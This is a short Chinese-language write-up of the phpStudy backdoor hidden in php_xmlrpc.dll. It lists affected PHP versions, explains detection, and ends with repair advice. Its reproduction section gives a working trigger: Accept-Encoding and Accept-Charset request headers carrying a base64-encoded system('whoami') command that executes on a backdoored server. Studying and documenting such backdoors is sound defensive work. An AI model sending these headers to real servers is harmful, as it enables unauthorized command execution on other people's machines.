一、环境背景

phpStudy软件是国内的一款免费的PHP调试环境的程序集成包。
通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装。
无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能

二、影响版本

phpstudy 2016 php5.4 phpstudy2018
php-5.2.17、php-5.4.45

三、复现过程

本来检测法,在对应有后门的php版本找后面门。
打开php_xmlrpc.dll模块中,搜索eval


或者利用burp suite也可以检测出来


然后随意访问一个php文件,用burpsuite拦截数据包,添加如下的请求头字段:

Accept-Encoding中逗号后面的空格要去掉 Accept-Charset后面接着base64编码 Accept-Encoding:gzip,deflate Accept-Charset:c3lzdGVtKCd3aG9hbWknKTsNCg==

repeater重放数据包,触发后门执行命令


四、修复建议

phpStudy启动时默认加载php-5.4.45版本的PHP,该版本存在后门,可以到PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中的php_xmlrpc.dll。
下载地址如下:

https://windows.php.net/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip https://windows.php.net/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip

更多相关资讯欢迎关注编程学习网